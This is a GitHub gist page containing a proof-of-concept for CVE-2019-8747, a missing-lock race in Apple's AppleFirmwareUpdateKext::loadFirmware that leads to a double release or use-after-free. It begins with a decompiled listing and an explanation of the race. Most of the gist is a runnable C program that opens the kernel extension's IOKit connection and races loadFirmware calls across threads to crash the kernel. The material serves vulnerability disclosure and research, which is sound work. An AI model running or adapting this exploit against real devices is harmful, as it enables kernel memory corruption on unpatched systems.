Skip to content

Instantly share code, notes, and snippets.

@0x36
Created November 22, 2019 11:02
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save 0x36/7d18b123a0da59c2821fbfe71129a9f6 to your computer and use it in GitHub Desktop.
Save 0x36/7d18b123a0da59c2821fbfe71129a9f6 to your computer and use it in GitHub Desktop.
AppleFirmwareUpdateKext::loadFirmware() : Missing lock leads to double object release
#if 0
// Fixed in iOS 13.1 with CVE-2019-8747
__thiscall
AppleFirmwareUpdateKext::loadFirmware
(AppleFirmwareUpdateKext *this,IOMemoryDescriptor *Memory,void *off_0x10,uint off_0x18)
{
uint uVar1;
byte addr;
byte len;
bool bVar2;
int iVar3;
AppleFirmwareUpdateKext *pAVar4;
IOMemoryMap *_firmwareMap;
OSData *Data;
char *pcVar5;
uint uVar6;
if (Memory == (IOMemoryDescriptor *)0x0) {
pcVar5 = (*this->getName)();
_IOLog("%s[%p]::%s() Invalid _firmwareDescriptor\n");
iVar3 = -0x1ffffd3e;
}
else {
(*Memory->prepare)(Memory,0);
_firmwareMap = Memory->map(this,0x1000);
this->_firmwareMap = _firmwareMap; <—— (a)
else {
addr = _firmwareMap->getVirtualAddress)();
len = (*this->_firmwareMap->getLength)();
_firmwareBuffer = withBytes((void *)(ulonglong)addr,(uint)len);
this->_firmwareBuffer = _firmwareBuffer; <— (a.a)
….
if (this->_firmwareMap != (IOMemoryMap *)0x0) {
(*this->_firmwareMap->release)(); <— (b.a)
this->_firmwareMap = (IOMemoryMap *)0x0;
}
if (this->Data != (OSData *)0x0) {
(*this->Data->release)(); <— (b.b)
this->Data = (OSData *)0x0;
}
if ((longlong *)this->field_0xd8 != (longlong *)0x0) {
(**(code **)(*(longlong *)this->field_0xd8 + 0x28))();
this->field_0xd8 = 0;
}
return (ulonglong)uVar1;
}
this->_firmwareMap and this->_firmwareBuffer must be atomically set, as shown above,
in (a) and (a.a), there is no locks protecting them from concurrent usage.
When ::loadFirmware is done, it releases both _firmwareMap and _firmwareBuffer,
It’s possible to call ::loadFirmware() with valid buffer, then create threads with invalid buffers to call ::release() at least twice in (b.a) and (b.b). This could lead to Double Free/ UaF bug.
#endif
#include <stdio.h>
#include <unistd.h>
#include <mach/mach.h>
#include <mach/mach_error.h>
#include <stdlib.h>
#include <CoreFoundation/CoreFoundation.h>
#include <pthread.h>
#define NAME "AppleFirmwareUpdateKext"
#define self mach_task_self()
#define CHECK_MACH_ERR(kr,name) do { \
if (kr != KERN_SUCCESS) { \
printf("%s : %s (0x%x)\n", \
name,mach_error_string(kr),kr); \
exit(1);} \
}while(0);
// IOKIT
typedef mach_port_t io_connect_t;
typedef mach_port_t io_service_t;
typedef mach_port_t io_iterator_t;
typedef mach_port_t io_object_t;
typedef mach_port_t io_registry_entry_t;
typedef char io_name_t[128];
#define IO_OBJECT_NULL 0
extern const mach_port_t kIOMasterPortDefault;
kern_return_t IOConnectCallMethod(mach_port_t connection, uint32_t selector, const uint64_t *input, uint32_t inputCnt, const void *inputStruct, size_t inputStructCnt, uint64_t *output, uint32_t *outputCnt, void *outputStruct, size_t *outputStructCnt);
io_service_t IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching);
kern_return_t IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type,io_connect_t *connect);
boolean_t IOIteratorIsValid(io_iterator_t iterator);
io_object_t IOIteratorNext(io_iterator_t iterator);
kern_return_t IORegistryEntryGetName(io_registry_entry_t entry, io_name_t name);
kern_return_t IOServiceGetMatchingServices(mach_port_t masterPort, CFDictionaryRef matching, io_iterator_t *existing);
kern_return_t IOServiceClose(io_connect_t connect);
uint32_t IOObjectGetRetainCount(io_object_t object);
uint32_t IOObjectGetKernelRetainCount(io_object_t object);
uint32_t IOObjectGetRetainCount(io_object_t object);
kern_return_t io_object_get_retain_count(mach_port_t object,uint32_t *retainCount);
kern_return_t IOObjectRelease(io_object_t object);
kern_return_t IORegistryEntrySetCFProperties(io_registry_entry_t entry, CFTypeRef properties);
CFMutableDictionaryRef IOServiceMatching(const char *name);
kern_return_t iokit_get_connection(const char *service_name,io_connect_t *conn);
io_connect_t c = 0;
struct args {
void* address;
uint64_t size;
uint64_t off_0x10;
uint64_t off_0x18;
};
struct args *prepare(size_t sz,uint a,uint b)
{
struct args *arg = malloc(sizeof(struct args));
assert(arg);
arg->size = sz;
arg->address = malloc(sz);
assert(arg->address);
arg->off_0x10 = a;
arg->off_0x18 = b;
return arg;
}
void *loadFirmware(void* arg)
{
kern_return_t kr = KERN_SUCCESS;
struct args *a = prepare(0x10000000,0,0);
int val = 0;
printf("val %x \n",val);
int selector = 0;
memset(a->address,0x41,a->size);
kr = IOConnectCallMethod(c,
selector, //selector,
a, // scalarInput
4, // scalarInputCnt
NULL, // In struct
0, // In struct count
NULL, // Out Scalar
NULL, // Out Scalar
NULL, // Out Struct
NULL); // In/Out Struct Cnt
printf("[*] selector=%d, kr =%x %s \n",
selector,kr,mach_error_string(kr));
return NULL;
}
kern_return_t iokit_get_connection(const char *service_name,io_connect_t *conn)
{
kern_return_t kr = KERN_SUCCESS;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching(service_name));
if (service == IO_OBJECT_NULL) {
printf("unable to find service \n");
exit(0);
}
kr = IOServiceOpen(service, self, 0, conn);
CHECK_MACH_ERR(kr,"IOServiceOpen");
printf("Got connection %x of %s\n",*conn,service_name);
return kr;
}
int main(int argc,char **argv)
{
kern_return_t kr = KERN_SUCCESS;
// AppleFirmwareUpdateUserClient
kr = iokit_get_connection(NAME, &c);
printf("Client created %x \n",c);
loadFirmware(NULL);
pthread_t th;
pthread_create(&th,NULL,loadFirmware,NULL);
pthread_t th2;
pthread_create(&th2,NULL,loadFirmware,NULL);
pthread_join(th,NULL);
pthread_join(th2,NULL);
printf("See crash ? \n");
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment